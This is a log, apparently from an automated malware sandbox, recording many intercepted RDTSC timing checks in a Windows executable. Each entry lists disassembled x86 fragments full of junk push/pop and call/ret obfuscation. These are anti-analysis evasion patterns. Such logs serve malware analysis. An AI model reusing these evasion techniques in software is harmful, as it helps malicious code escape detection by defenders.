Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC7AF second address: 3BC7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBF4h 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC7CA second address: 3BC7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC7D0 second address: 3BC7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F856102FBF4h 0x0000000e je 00007F856102FBECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD4ED second address: 3BD4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD4F5 second address: 3BD4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD5FA second address: 3BD5FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD5FE second address: 3BD604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD604 second address: 3BD60A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD60A second address: 3BD60E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD60E second address: 3BD61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD61F second address: 3BD623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BDA85 second address: 3BDA8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BDA8E second address: 3BDA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE07B second address: 3BE07F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE0F7 second address: 3BE116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F856102FBF5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE221 second address: 3BE227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE227 second address: 3BE22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE22B second address: 3BE22F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE34F second address: 3BE36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBECh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F856102FBE8h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE447 second address: 3BE44D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE44D second address: 3BE460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F856102FBE6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE571 second address: 3BE584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BEC2A second address: 3BEC85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F856102FBE8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, 077BDF0Ch 0x0000002d push 00000000h 0x0000002f xchg eax, ebx 0x00000030 push ecx 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 pop ebx 0x00000035 pop ecx 0x00000036 push eax 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F856102FBEBh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6D0 second address: 3BF6DA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6DA second address: 3BF6E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF553 second address: 3BF557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6E0 second address: 3BF6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF557 second address: 3BF55B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6E4 second address: 3BF6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6E8 second address: 3BF719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c mov bl, 55h 0x0000000e mov edi, ebx 0x00000010 popad 0x00000011 push 00000000h 0x00000013 mov esi, 1D62357Fh 0x00000018 jnl 00007F856106A856h 0x0000001e push 00000000h 0x00000020 adc esi, 26CFC74Dh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007F856106A858h 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFEE2 second address: 3BFEED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F856102FBE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C0EDF second address: 3C0EE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1BF0 second address: 3C1BF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C321D second address: 3C3222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C58BE second address: 3C58C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C58C7 second address: 3C58D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C58D2 second address: 3C58E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F856102FBE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C58E1 second address: 3C58E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6EA9 second address: 3C6EAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C4615 second address: 3C461B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3841AE second address: 3841CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB094 second address: 3CB098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB6D9 second address: 3CB6DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3769A4 second address: 3769B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jmp 00007F856106A85Eh 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB881 second address: 3CB911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F856102FBE6h 0x0000000a popad 0x0000000b jno 00007F856102FBECh 0x00000011 popad 0x00000012 nop 0x00000013 mov ebx, dword ptr [ebp+122D35BCh] 0x00000019 push dword ptr fs:[00000000h] 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F856102FBE8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov bx, 67F1h 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov dword ptr [ebp+12451F10h], eax 0x0000004b mov eax, dword ptr [ebp+122D01F9h] 0x00000051 push 00000000h 0x00000053 push ecx 0x00000054 call 00007F856102FBE8h 0x00000059 pop ecx 0x0000005a mov dword ptr [esp+04h], ecx 0x0000005e add dword ptr [esp+04h], 00000017h 0x00000066 inc ecx 0x00000067 push ecx 0x00000068 ret 0x00000069 pop ecx 0x0000006a ret 0x0000006b je 00007F856102FBE6h 0x00000071 push FFFFFFFFh 0x00000073 jmp 00007F856102FBEAh 0x00000078 nop 0x00000079 push esi 0x0000007a push eax 0x0000007b push edx 0x0000007c push ecx 0x0000007d pop ecx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3769B9 second address: 3769BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3769BF second address: 3769C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3769C3 second address: 3769C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CFA5B second address: 3CFA9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F856102FBE6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F856102FBE8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov ebx, 34BE0413h 0x00000030 push 00000000h 0x00000032 and edi, 683739B4h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CECA4 second address: 3CECAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CFA9F second address: 3CFAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CE4 second address: 3D0CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F856106A856h 0x0000000a popad 0x0000000b pushad 0x0000000c jo 00007F856106A856h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D1D9E second address: 3D1DB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D2CD2 second address: 3D2CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3A4E second address: 3D3A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D2CD8 second address: 3D2CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3A52 second address: 3D3A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D2CDC second address: 3D2D8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jno 00007F856106A85Ah 0x0000000f push dword ptr fs:[00000000h] 0x00000016 jmp 00007F856106A85Eh 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jmp 00007F856106A865h 0x00000027 jc 00007F856106A86Bh 0x0000002d call 00007F856106A862h 0x00000032 pushad 0x00000033 popad 0x00000034 pop ebx 0x00000035 mov eax, dword ptr [ebp+122D02CDh] 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007F856106A858h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push ebp 0x0000005a call 00007F856106A858h 0x0000005f pop ebp 0x00000060 mov dword ptr [esp+04h], ebp 0x00000064 add dword ptr [esp+04h], 00000018h 0x0000006c inc ebp 0x0000006d push ebp 0x0000006e ret 0x0000006f pop ebp 0x00000070 ret 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 ja 00007F856106A85Ch 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4B0A second address: 3D4B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4B17 second address: 3D4B21 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4B21 second address: 3D4B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4B27 second address: 3D4B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F856106A858h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov ebx, 33EBC76Fh 0x0000002a push 00000000h 0x0000002c mov ebx, 0F8DEF57h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4B61 second address: 3D4B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4B65 second address: 3D4B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6BEC second address: 3D6BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6BF0 second address: 3D6C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F856106A862h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jne 00007F856106A856h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6C14 second address: 3D6C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6C19 second address: 3D6C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856106A864h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F856106A85Dh 0x00000012 xor edi, dword ptr [ebp+122D364Ch] 0x00000018 pop edi 0x00000019 mov ebx, dword ptr [ebp+122D3804h] 0x0000001f push 00000000h 0x00000021 or dword ptr [ebp+122D2C6Dh], esi 0x00000027 mov ebx, dword ptr [ebp+122D29FDh] 0x0000002d push 00000000h 0x0000002f pushad 0x00000030 and cx, 12CEh 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 push ecx 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8D1D second address: 3D8D3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F856102FBF9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8D3B second address: 3D8DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007F856106A865h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F856106A858h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 and di, B1F0h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F856106A858h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov edi, 3EB1A6C9h 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+1247D8FCh], eax 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8DBA second address: 3D8DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8DC0 second address: 3D8DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6E87 second address: 3D6E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6E8C second address: 3D6E9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A85Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD0CE second address: 3DD13C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D3734h] 0x00000012 jp 00007F856102FBF8h 0x00000018 push 00000000h 0x0000001a pushad 0x0000001b or ch, FFFFFF8Ch 0x0000001e mov dword ptr [ebp+122D1DB7h], edx 0x00000024 popad 0x00000025 push 00000000h 0x00000027 jmp 00007F856102FBF5h 0x0000002c xchg eax, esi 0x0000002d jmp 00007F856102FBEDh 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 ja 00007F856102FBE6h 0x0000003c pop eax 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC434 second address: 3DC43A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC43A second address: 3DC448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD290 second address: 3DD294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD294 second address: 3DD29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1D32 second address: 3E1D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC6B6 second address: 3EC6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC6BA second address: 3EC6D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC6D8 second address: 3EC6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F856102FBF8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC6FC second address: 3EC70F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F856106A85Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC70F second address: 3EC72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a pushad 0x0000000b jmp 00007F856102FBF2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
